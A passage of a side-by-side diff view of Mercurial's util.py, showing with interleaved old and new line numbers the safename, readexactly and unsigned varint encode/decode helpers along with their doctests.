3498 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3498 for line in getstackframes(skip + 1, depth=depth):
3499 for line in getstackframes(skip + 1, depth=depth):
3499 f.write(prefix + line)
3500 f.write(prefix + line)
3500 f.flush()
3501 f.flush()
3501
3502
3502
3503
3503 # convenient shortcut
3504 # convenient shortcut
3504 dst = debugstacktrace
3505 dst = debugstacktrace
3505
3506
3506
3507
3507 def safename(f, tag, ctx, others=None):
3508 def safename(f, tag, ctx, others=None):
3508 """
3509 """
3509 Generate a name that it is safe to rename f to in the given context.
3510 Generate a name that it is safe to rename f to in the given context.
3510
3511
3511 f: filename to rename
3512 f: filename to rename
3512 tag: a string tag that will be included in the new name
3513 tag: a string tag that will be included in the new name
3513 ctx: a context, in which the new name must not exist
3514 ctx: a context, in which the new name must not exist
3514 others: a set of other filenames that the new name must not be in
3515 others: a set of other filenames that the new name must not be in
3515
3516
3516 Returns a file name of the form oldname~tag[~number] which does not exist
3517 Returns a file name of the form oldname~tag[~number] which does not exist
3517 in the provided context and is not in the set of other names.
3518 in the provided context and is not in the set of other names.
3518 """
3519 """
3519 if others is None:
3520 if others is None:
3520 others = set()
3521 others = set()
3521
3522
3522 fn = b'%s~%s' % (f, tag)
3523 fn = b'%s~%s' % (f, tag)
3523 if fn not in ctx and fn not in others:
3524 if fn not in ctx and fn not in others:
3524 return fn
3525 return fn
3525 for n in itertools.count(1):
3526 for n in itertools.count(1):
3526 fn = b'%s~%s~%s' % (f, tag, n)
3527 fn = b'%s~%s~%s' % (f, tag, n)
3527 if fn not in ctx and fn not in others:
3528 if fn not in ctx and fn not in others:
3528 return fn
3529 return fn
3529
3530
3530
3531
3531 def readexactly(stream, n):
3532 def readexactly(stream, n):
3532 '''read n bytes from stream.read and abort if less was available'''
3533 '''read n bytes from stream.read and abort if less was available'''
3533 s = stream.read(n)
3534 s = stream.read(n)
3534 if len(s) < n:
3535 if len(s) < n:
3535 raise error.Abort(
3536 raise error.Abort(
3536 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3537 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3537 % (len(s), n)
3538 % (len(s), n)
3538 )
3539 )
3539 return s
3540 return s
3540
3541
3541
3542
3542 def uvarintencode(value):
3543 def uvarintencode(value):
3543 """Encode an unsigned integer value to a varint.
3544 """Encode an unsigned integer value to a varint.
3544
3545
3545 A varint is a variable length integer of 1 or more bytes. Each byte
3546 A varint is a variable length integer of 1 or more bytes. Each byte
3546 except the last has the most significant bit set. The lower 7 bits of
3547 except the last has the most significant bit set. The lower 7 bits of
3547 each byte store the 2's complement representation, least significant group
3548 each byte store the 2's complement representation, least significant group
3548 first.
3549 first.
3549
3550
3550 >>> uvarintencode(0)
3551 >>> uvarintencode(0)
3551 '\\x00'
3552 '\\x00'
3552 >>> uvarintencode(1)
3553 >>> uvarintencode(1)
3553 '\\x01'
3554 '\\x01'
3554 >>> uvarintencode(127)
3555 >>> uvarintencode(127)
3555 '\\x7f'
3556 '\\x7f'
3556 >>> uvarintencode(1337)
3557 >>> uvarintencode(1337)
3557 '\\xb9\\n'
3558 '\\xb9\\n'
3558 >>> uvarintencode(65536)
3559 >>> uvarintencode(65536)
3559 '\\x80\\x80\\x04'
3560 '\\x80\\x80\\x04'
3560 >>> uvarintencode(-1)
3561 >>> uvarintencode(-1)
3561 Traceback (most recent call last):
3562 Traceback (most recent call last):
3562 ...
3563 ...
3563 ProgrammingError: negative value for uvarint: -1
3564 ProgrammingError: negative value for uvarint: -1
3564 """
3565 """
3565 if value < 0:
3566 if value < 0:
3566 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3567 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3567 bits = value & 0x7F
3568 bits = value & 0x7F
3568 value >>= 7
3569 value >>= 7
3569 bytes = []
3570 bytes = []
3570 while value:
3571 while value:
3571 bytes.append(pycompat.bytechr(0x80 | bits))
3572 bytes.append(pycompat.bytechr(0x80 | bits))
3572 bits = value & 0x7F
3573 bits = value & 0x7F
3573 value >>= 7
3574 value >>= 7
3574 bytes.append(pycompat.bytechr(bits))
3575 bytes.append(pycompat.bytechr(bits))
3575
3576
3576 return b''.join(bytes)
3577 return b''.join(bytes)
3577
3578
3578
3579
3579 def uvarintdecodestream(fh):
3580 def uvarintdecodestream(fh):
3580 """Decode an unsigned variable length integer from a stream.
3581 """Decode an unsigned variable length integer from a stream.
3581
3582
3582 The passed argument is anything that has a ``.read(N)`` method.
3583 The passed argument is anything that has a ``.read(N)`` method.
3583
3584
3584 >>> try:
3585 >>> try:
3585 ... from StringIO import StringIO as BytesIO
3586 ... from StringIO import StringIO as BytesIO
3586 ... except ImportError:
3587 ... except ImportError:
3587 ... from io import BytesIO
3588 ... from io import BytesIO
3588 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3589 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3589 0
3590 0
3590 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3591 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3591 1
3592 1
3592 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3593 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3593 127
3594 127
3594 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3595 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3595 1337
3596 1337
3596 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3597 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3597 65536
3598 65536
3598 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3599 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3599 Traceback (most recent call last):
3600 Traceback (most recent call last):
3600 ...
3601 ...
3601 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3602 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3602 """
3603 """
3603 result = 0
3604 result = 0
3604 shift = 0
3605 shift = 0
3605 while True:
3606 while True:
3606 byte = ord(readexactly(fh, 1))
3607 byte = ord(readexactly(fh, 1))
3607 result |= (byte & 0x7F) << shift
3608 result |= (byte & 0x7F) << shift
3608 if not (byte & 0x80):
3609 if not (byte & 0x80):
3609 return result
3610 return result
3610 shift += 7
3611 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now